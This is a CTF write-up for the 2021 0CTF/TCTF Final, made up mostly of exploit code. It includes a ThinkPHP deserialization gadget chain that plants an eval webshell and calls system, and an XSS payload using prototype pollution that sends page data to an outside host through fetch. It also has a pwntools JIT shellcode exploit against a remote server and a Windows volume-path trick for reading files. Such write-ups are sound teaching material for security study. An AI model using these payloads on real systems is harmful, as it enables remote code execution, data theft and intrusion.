2021 0CTF/TCTF Final Writeup

2021 0CTF/TCTF Final Writeup

[toc]

Web

Win-Win

readfile finnaly call WINAPI CreateFileW

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew

When opening a volume or removable media drive (for example, a floppy disk drive or flash memory thumb drive), the lpFileName string should be the following form: “.\X:”. Do not use a trailing backslash (), which indicates the root directory of a drive. The following table shows some examples of drive strings.

visit http://185e90fa7b13881cc31931a9de3c31f4.winwin.pwnable.org/?win=\\.\C: to download C: and get the path of upload temp path : C:/THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2/tmp/

Upload files and use php<< to include

RevengePHP

<?php

namespace think\model{
    class Merge {
        protected $connection = [];
        public function __construct()
        {
            $this->connection = [
                "type"=>"\\Exception"
            ];
        }
    }
}
namespace think{
    class Request{
        protected $get     = [];
        protected $filter;
        public function __construct()
        {
            $this->get = ["aaaa<getAttr>xx<"=>'/readflag'];
            $this->filter = ["system"];
        }
    }
}
namespace think\cache\driver{

    use think\Request;

    class Memcache{
        protected $tag;
        protected $handler = null;
        protected $options = [];
        public function __construct(){
            $this->handler = new Request();
            $this->tag = true;
            $this->options = [
                "prefix"=>"aaaa"
            ];
        }
    }
}
namespace think\session\driver{
    class Memcache{
        protected $handler = null;
        public function __construct()
        {
            $this->handler = new \think\cache\driver\Memcache();
        }
    };
}

namespace think\cache\driver{
    class File {
        protected $options = [];
        protected $tag;
        public function __construct() {
            $this->tag = 'xige';
            $this->options = [
                'cache_subdir'  => false,
                'prefix'        => '',
                'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
                'data_compress' => false
            ];
        }
    }
}



namespace think\session\driver{
    use think\cache\driver\File;

    class Memcached {
        protected $handler;
        function __construct() {
            $this->handler=new File();
        }
    }
}

namespace think\console{
    use think\session\driver\Memcached;
    use think\model\Merge;
    class Output {
        protected $styles = [];
        private $handle;
        function __construct() {
            $this->styles = ["getAttr", 'info',
                'error',
                'comment',
                'question',
                'highlight',
                'warning'];
            $this->handle = new \think\session\driver\Memcache();
        }
    }
}


namespace think\db{
    use think\console\Output;

    class Query {
        protected $model;
        function __construct() {
            $this->model = new Output();
        }
    }
}

namespace think\model\relation{
    use think\console\Output;
    use think\db\Query;

    class HasOne {
        public $model;
        protected $selfRelation;
        protected $parent;
        protected $query;
        protected $bindAttr = [];
        public function __construct() {
            $this->query = new Query("xx", 'think\console\Output');
            $this->model = false;
            $this->selfRelation = false;
            $this->bindAttr = ["xx" => "xx"];
        }}
}

namespace think\model{
    use think\console\Output;
    use think\model\relation\HasOne;

    abstract class Model {
    }
    class Pivot extends Model {
        public $parent;
        protected $append = [];
        protected $data = [];
        protected $error;
        protected $model;

        function __construct() {
            $this->parent = new Output();
            $this->error = new HasOne();
            $this->model = "test";
            $this->append = ["test" => "getError"];
            $this->data = ["panrent" => "true"];
        }
    }
}



namespace think\process\pipes{
    use think\model\Pivot;

    class Windows {
        private $files = [];
        public function __construct() {
            $this->files=[new Pivot()];
        }
    }
}

namespace {
    $obj = new think\process\pipes\Windows();
    $payload = serialize($obj);
    echo urlencode ($payload);
}

useCTF()

fetch("http://1.116.229.17:5000/contact", {
  "headers": {
    "accept": "*/*",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache"
  },
  "referrer": "http://1.116.229.17:5000/submit?._proto__[allowHTML]=1&name=%3Cimg%20src/onerror%3Deval(atob`U3RyaW5nLnByb3RvdHlwZS5zcGxpdD1mdW5jdGlvbihzKXtmZXRjaCgnLy9kLml2MC5jYy9mbGFnPycrdGhpcy50b1N0cmluZygpKX07`)%3E",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "{\"q\":\"._proto__[allowHTML]=1&name=%3Cimg%20src/onerror%3Deval(atob`U3RyaW5nLnByb3RvdHlwZS5zcGxpdD1mdW5jdGlvbihzKXtmZXRjaCgnLy9kLml2MC5jYy9mbGFnPycrdGhpcy50b1N0cmluZygpKX07`)%3E\",\"captcha\":\"356\"}",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

Misc

ezMat

# cal.sage
p = 71
E_num = [[31,45,41,12,36,43,45,51,25,2,64],[68,24,32,35,52,13,64,10,14,2,40],[34,34,64,32,67,25,21,57,31,6,56],[7,17,12,33,54,66,28,25,40,23,26],[14,65,70,35,67,55,47,36,36,42,57],[68,28,33,0,45,52,59,29,52,41,46],[60,35,0,21,24,44,49,51,1,6,35],[20,21,44,57,23,35,30,28,16,23,0],[24,64,54,53,35,42,40,17,3,0,36],[32,53,39,47,39,56,52,15,39,8,9],[7,57,43,5,38,59,2,25,2,67,12]]
R_num = [[53,28,20,41,32,17,13,46,34,37,24],[0,9,54,25,36,1,21,24,56,51,24],[61,41,10,56,57,28,49,4,44,70,34],[47,58,36,53,68,66,34,69,22,25,39],[4,70,21,36,53,26,59,51,3,44,28],[41,23,39,37,1,28,63,64,37,35,51],[43,31,16,36,45,5,35,52,7,45,41],[26,3,54,58,50,37,27,49,3,46,11],[14,48,18,46,59,64,62,31,42,41,65],[17,50,68,10,24,40,58,46,48,14,58],[46,24,48,32,16,1,27,18,27,17,20]]

E = matrix(GF(p), E_num)
R = matrix(GF(p), R_num)
reE = E.inverse()
X = matrix(GF(p), R_num)


for k in range(24):
    i, j = 5*k // 11, 5*k % 11
    E_num[i][j] = -1

################################################################


A = zero_matrix(GF(p), 11, 11)
temp_M = zero_matrix(GF(p), 11, 11)

# 用于计算 A 第 3-11 行的取值(唯一)
def cal_0(iline):
    ret_list = []
    true_cnt = 0
    cnt = E_num[iline].count(-1)

    # print(f"total: {p**cnt}")
    for stat_num in range(p**cnt):
        tA = zero_matrix(GF(p), 11, 11)
        temp_num = stat_num
        for j in range(11):
            if(E_num[iline][j] == -1):
                tA[iline, j] = temp_num % p
                temp_num //= p

        if(temp_num > 0):
            break

        temp_M = (tA+R)*reE

        can = True
        for j in range(iline):
            if(temp_M[iline, j] != 0):
                can = False
                break

        if(can):
            true_cnt += 1
            for j in range(11):
                ret_list.append(tA[iline, j])

    return (true_cnt,ret_list)

# 用于计算 A 第 2 行的所有可能取值方案
# 该行只有第 4 列和第 9 列有值,其他为 0
def cal_1(iline):
    ret_list = []
    true_cnt = 0
    cnt = E_num[iline].count(-1)

    # print(f"total: {p**cnt}")
    for stat_num in range(p**cnt):
        tA = zero_matrix(GF(p), 11, 11)
        temp_num = stat_num
        for j in range(11):
            if(E_num[iline][j] == -1):
                tA[iline, j] = temp_num % p
                temp_num //= p

        if(temp_num > 0):
            break

        temp_M = (tA+R)*reE

        can = True
        for j in range(iline):
            if(temp_M[iline, j] != 0):
                can = False
                break

        if(can):
            true_cnt += 1
            ret_list.append(int(tA[iline, 4]))
            ret_list.append(int(tA[iline, 9]))

    return (true_cnt,ret_list)

#line_num = 1
#cal_ret = cal_1(line_num)
# 第二行有 71 种可能的取值方案,list 中每两个代表一种方案(该行只有第4,9列有值)
# (71, [36, 0, 25, 1, 14, 2, 3, 3, 63, 4, 52, 5, 41, 6, 30, 7, 19, 8, 8, 9, 68, 10, 57, 11, 46, 12, 35, 13, 24, 14, 13, 15, 2, 16, 62, 17, 51, 18, 40, 19, 29, 20, 18, 21, 7, 22, 67, 23, 56, 24, 45, 25, 34, 26, 23, 27, 12, 28, 1, 29, 61, 30, 50, 31, 39, 32, 28, 33, 17, 34, 6, 35, 66, 36, 55, 37, 44, 38, 33, 39, 22, 40, 11, 41, 0, 42, 60, 43, 49, 44, 38, 45, 27, 46, 16, 47, 5, 48, 65, 49, 54, 50, 43, 51, 32, 52, 21, 53, 10, 54, 70, 55, 59, 56, 48, 57, 37, 58, 26, 59, 15, 60, 4, 61, 64, 62, 53, 63, 42, 64, 31, 65, 20, 66, 9, 67, 69, 68, 58, 69, 47, 70])
#print(cal_ret)

#for iline in range(2, 11, 1):
#    cal_ret = cal_0(iline)
#    for j in range(11):
#        A[iline, j] = cal_ret[1][j]
#print(A)
"""
A = 
[ 0  0  0  0  0  0  0  0  0  0  0]
[ 0  0  0  0  0  0  0  0  0  0  0]
[ 0  0  0  0  0  0  0  0 12  0  0]
[ 0  0 55  0  0  0  0  3  0  0  0]
[ 0 14  0  0  0  0 37  0  0  0  0]
[16  0  0  0  0  4  0  0  0  0 12]
[ 0  0  0  0 25  0  0  0  0 18  0]
[ 0  0  0 48  0  0  0  0 17  0  0]
[ 0  0 61  0  0  0  0 25  0  0  0]
[ 0 64  0  0  0  0 38  0  0  0  0]
[13  0  0  0  0 50  0  0  0  0  0]
"""


# 把前面的整合一下
# 第一行由于没有任何限制,需要爆破
# 第二行有 71 种可能,爆破
# O(71^4)
from hashlib import sha256

alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'
alen = len(alphabet)

b = [36, 0, 25, 1, 14, 2, 3, 3, 63, 4, 52, 5, 41, 6, 30, 7, 19, 8, 8, 9, 68, 10, 57, 11, 46, 12, 35, 13, 24, 14, 13, 15, 2, 16, 62, 17, 51, 18, 40, 19, 29, 20, 18, 21, 7, 22, 67, 23, 56, 24, 45, 25, 34, 26, 23, 27, 12, 28, 1, 29, 61, 30, 50, 31, 39, 32, 28, 33, 17, 34, 6, 35, 66, 36, 55, 37, 44, 38, 33, 39, 22, 40, 11, 41, 0, 42, 60, 43, 49, 44, 38, 45, 27, 46, 16, 47, 5, 48, 65, 49, 54, 50, 43, 51, 32, 52, 21, 53, 10, 54, 70, 55, 59, 56, 48, 57, 37, 58, 26, 59, 15, 60, 4, 61, 64, 62, 53, 63, 42, 64, 31, 65, 20, 66, 9, 67, 69, 68, 58, 69, 47, 70]
c = [0,12,55,3,14,37,16,4,12,25,18,48,17,61,25,64,38,13,50]

cflag = ""
for i in c:
    cflag += alphabet[i]
print(cflag)

flag = ""

for i in range(alen):
    for j in range(alen):
        for k in range(alen):
            for l in range(71):
                flag = alphabet[i]+alphabet[j]+alphabet[k]+alphabet[b[l*2]]+alphabet[b[l*2+1]]+cflag
                if(sha256(flag.encode()).hexdigest() == '95cb911a467482cc0f879861532e9ec7680b0846b48a9de25fb13b01c583d9f8'):
                    print(flag)
                    exit()
# flag{6yY4L=bS2dAf3bohLgYo!BcN}

eeenginx

use nc to send

GET / HTTP/1.1
Host: 118.195.199.18:12345
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eeenginx97826431357894989;
Connection: close
Content-Length: 2

ls

how_to_generate

import os
import binascii
import socketserver
import random
import signal
import string
from hashlib import sha256
import zlib
from datetime import datetime
import lark
import re
import itertools
import random
import string
# from pwn import *
import pwn
from hashlib import sha256
import copy
import os
import binascii
import socketserver
import random
import signal
import string
from hashlib import sha256
import zlib
from datetime import datetime
import lark
import re
import itertools
import random
import string
# from pwn import *
import pwn
from hashlib import sha256
import copy
# pwn.context.log_level = 'debug'
import random
import string
from pwn import *
from hashlib import sha256

N = 0x10  # 4096
MAXSIZE = 0x200000  # 2097152
G_I = 0
G_j = 0
prim = ["LETTER", "WORD", "NUMBER", "DIGIT"]
ops = "!@#$%^&*-+~"


def prob(num):
    if random.randint(0, 99) < num:
        return True
    else:
        return False


def genstr():
    return "".join([random.choice(string.ascii_letters+string.digits) for _ in range(random.randint(3, 6))])


def genexpr():
    res = ""
    res += random.choice(prim)
    res += " "
    for i in range(random.randint(2, 4)):
        res += '"'+random.choice(ops)+'"'
        res += " "
        if prob(80):
            res += random.choice(prim)
        else:
            res += "expression"
        res += " "
    return res


def genstmt():
    res = ""
    res += '"'+genstr()+'"'
    res += " "
    laststr = True
    for i in range(random.randint(3, 8)):
        if not laststr and prob(60):
            res += '"'+genstr()+'"'
            laststr = True
        else:
            x = random.randint(0, 99)
            if x < 60:
                res += "expression"
            elif x < 90:
                res += random.choice(prim)
            else:
                res += "statement"
            laststr = False
        res += " "
    return res


def gen_grammar():
    gram = '''%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.DIGIT
%import common.WS
%ignore WS

start: statement+

'''
    num = 0
    exprs = "expression: "
    for i in range(50):
        if i != 0:
            exprs += "    | "
        exprs += genexpr()
        exprs += "-> cov_%d" % num
        num += 1
        exprs += "\n"
    gram += exprs
    # #add
    # gram += '    | WORD -> cov_44\n'
    # gram += '    | DIGIT -> cov_45\n'
    # gram += '    | WORD DIGIT expression -> cov_46\n'
    stmts = "statement: "
    for i in range(100):
        if i != 0:
            stmts += "    | "
        stmts += genstmt()
        stmts += "-> cov_%d" % num
        num += 1
        stmts += "\n"
    gram += stmts
    # #add
    # gram += '    | "popko" expression -> cov_144\n'
    return gram


def collect_cov(ast):
    cov = 0
    if isinstance(ast, lark.tree.Tree):
        for ch in ast.children:
            cov |= collect_cov(ch)
        if ast.data.startswith('cov_'):
            num = int(ast.data[4:])
            cov |= (1 << num)
    return cov



def expr_filter(line):
    return line.replace('WORD', 'w').replace('LETTER', 'e').replace('NUMBER', '2').replace('DIGIT', '3').replace('"', '')


def stat_filter(line, myexp1):
    return expr_filter(line).replace('expression', myexp1).replace('"', '')


def getexp1(ss):
    len1 = len('Give me XXXX:your grammar today:\n%import common.LETTER\n%import common.WORD\n%import common.NUMBER\n%import common.DIGIT\n%import common.WS\n%ignore WS\n\nstart: statement+\n\nexpression: ')
    expressions = ss[0][len1:]
    expressionslist = expressions.split("|")
    myexp1 = []
    finalexp1 = copy.deepcopy(expressionslist)
    for i in expressionslist:
        line = (i.strip())
        if(re.findall('expression', line) == []):
            finalexp1.remove(i)  # 删除已经构造的
            line = expr_filter(line).split('->')[0]
            myexp1.append(line)
    # print("myexp1:")
    # print(len(myexp1))
    count = len(finalexp1)
    for i in range(count):
        line = (finalexp1[i].strip())
        # if(re.findall('expression', line) != []):
        # res = line.replace("expression",myexp1[0])
        finalexp1[i] = expr_filter(line).replace("expression", myexp1[0]).split('->')[0]
        # print(finalexp1[i])
    # finalexp1 += myexp1#不用加上
    return myexp1, finalexp1


def getexp2(ss, myexp1):
    statements = ss[1]
    statementslist = (statements.split("|"))
    myexp2 = []
    finalexp2 = copy.deepcopy(statementslist)
    for i in statementslist:
        line = (i.strip())
        if(re.findall('statement', line) == []):
            finalexp2.remove(i)  # 删除已经构造的
            line = stat_filter(line, myexp1[0]).split('->')[0]
            myexp2.append(line)
    return myexp2, finalexp2


def getexp2_1(myexp2, finalexp2, finalexp1,myexp1):
    count = len(finalexp2)
    print(len(finalexp1))
    print(len(finalexp2))
    for i in range(count):
        line = (finalexp2[i].strip())
        if i == 0:
            finalexp2[i] = stat_filter(line, myexp1[0]).replace("statement", myexp2[0]).split('->')[0]
            for my1 in myexp1:
                finalexp2[i] += stat_filter(line, my1).replace("statement", myexp2[0]).split('->')[0]
            for f1 in finalexp1:
                finalexp2[i] += stat_filter(line, f1).replace(
                    "statement", myexp2[0]).split('->')[0]
            for my2 in myexp2:
                finalexp2[i] += stat_filter(line, myexp1[0]).replace("statement", my2).split('->')[0]
        else:
            finalexp2[i] = stat_filter(line, myexp1[0]).replace("statement", myexp2[0]).split('->')[0]
        # print(finalexp2[i])
    # finalexp2 += myexp2#不需要加
    return finalexp2
    # print("myexp2:")
    # print(len(myexp2[:24]))


def get_0(tot):
    a = bin(tot)[2:][::-1]
    print("get_0(tot):")
    print(a)
    list_0 = []
    for i in range(len(a)):
        if (a[i] == '0'):
            list_0.append(i)
    return list_0


def exp(gram):
    # print(gram)
    # parser = lark.Lark(gram)
    # gram = gen_grammar()
    ss = gram.split('statement:')
    myexp1, finalexp1 = getexp1(ss)
    myexp2, finalexp2 = getexp2(ss, myexp1)
    finalexp2 = getexp2_1(myexp2,finalexp2,finalexp1,myexp1)
    # dat = "".join(finalexp1).join(finalexp2)
    # one = ("".join(myexp2))  # .replace(' ','')
    exps = list(itertools.combinations(myexp2[:24], 20))
    dat = ""
    exp_sum = 0
    for e in exps:
        one = "".join(e)
        dat += one+'|'
        exp_sum += 1
        if exp_sum == 4095:
        # if exp_sum == 9:
            break
    finalexp = "".join(finalexp2)

    # dat = dat[:-1]
    dat = dat+finalexp
    dat = zlib.compress(dat.encode())
    length = len(dat)
    dat = (binascii.b2a_hex(dat).decode())  # 706f706b6f313233
    return length, dat


def getgram():
    pwn.context.log_level = 'debug'
    # io = pwn.remote('127.0.0.1', 10001)
    # io = pwn.remote('8.129.107.19', 7777)
    io = pwn.remote('121.5.253.92', 10001)
    io.recvuntil(b'+')
    suffix = io.recvuntil(b')')[:-1]
    io.recvuntil(b'== ')
    hash = io.recvline()[:-1].decode()

    assert(len(suffix) == 16 and len(hash) == 64)
    def solve_pow(suffix, hash):
        while True:
            xxxx = ''.join(random.choice(string.digits + string.ascii_letters) for _ in range(4))
            print(xxxx)
            if sha256((xxxx+suffix).encode('latin-1')).hexdigest() == hash:
                return xxxx.encode()
    def test(suffer, hash):
        S = string.ascii_letters+string.digits
        for i in S:
            for j in S:
                for m in S:
                    for k in S:
                        payload = i+j+m+k

                        str1 = str(payload) + suffer
                        if sha256(str1.encode('latin-1')).hexdigest() != hash:
                            pass
                        else:
                            return (str(payload))
    print(suffix.decode())
    print(hash)
    io.sendline(test(suffix.decode(), hash))

    res = (io.recvuntil(b'cov_149'))
    print(res.decode())
    io.recv()
    # io.recv()
    length, dat = exp(res.decode())
    print(length)
    print(dat)
    # io.interactive()
    io.send(str(length).encode())
    io.recv()
    io.send(dat.encode())
    io.send('\n'.encode())
    print(io.recv())
    print(io.recv())
    print(io.recv())
    print()
    # length, dat = exp(res.decode())
    # print(length)
    # print(dat)

getgram()
# gram = (gen_grammar())
# parser = lark.Lark(gram)
# # res = parser.parse("V5GD v ccc v")
# # res = parser.parse("V5GD v")
# # res = parser.parse("ccc v")
# # cov = collect_cov(res)
# # print(bin(cov))
# # print(gram)
# length, dat = exp(gram)
# sz = length
# assert sz < MAXSIZE
# sz = 2*sz+1
# r = sz
# res = b''
# while r > 0:
#     res += dat.encode()
#     r = sz - len(res)
# dat = bytes.fromhex(res.strip().decode('latin-1'))
# dat = zlib.decompress(dat)
# codes = dat.split(b'|')
# N = len(codes)
# tot = 0
# for i in range(N):
#     one = codes[i].decode('latin-1')
#     res = parser.parse(one)
#     cov = collect_cov(res)
#     tot |= cov
#     print(bin(cov).count('1'))
#     print(bin(cov))
#     if i+1 == N:
#         print("tot_before:")
#         print(bin(tot))
# print("tot_before:")
# print(bin(tot))


Pwn

Secure Jit

# -*- coding: utf-8 -*
from pwn import *
import tty
import os
context.log_level = 'debug'
#p = process('./entry')
p = remote("118.195.199.18",40404)
payload = '''
def main():
    A()
    f = 0x050F5801

    e = 0x6AE68948
    e *=0x10000
    e *=0x10000
    e +=0x00000001

    d = 0x5F8287E0
    d +=0x5F8287E0
    d *=0x10000
    d *=0x10000
    d +=0x31000001

    c = 0x00BAE689
    c *=0x10000
    c *=0x10000
    c +=0x48C78948

    b = 0x050F5802
    b *=0x10000
    b *=0x10000
    b +=0x6AF631E7

    a = 0x79486761
    a +=0x10000000
    a *=0x10000
    a *=0x10000
    a +=0x6C666890
    A()
    A()
    A()
    A()
    A()
    A()
    A() # <-rbp
def B():
    a = 0
    a = 0 
    a = 0
    a = 0
    a = 0
    a = 0
    a = 0
    a = 0
'''

p.sendafter("<xxx>`.\n",payload)
p.shutdown_raw('send')

p.interactive()

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注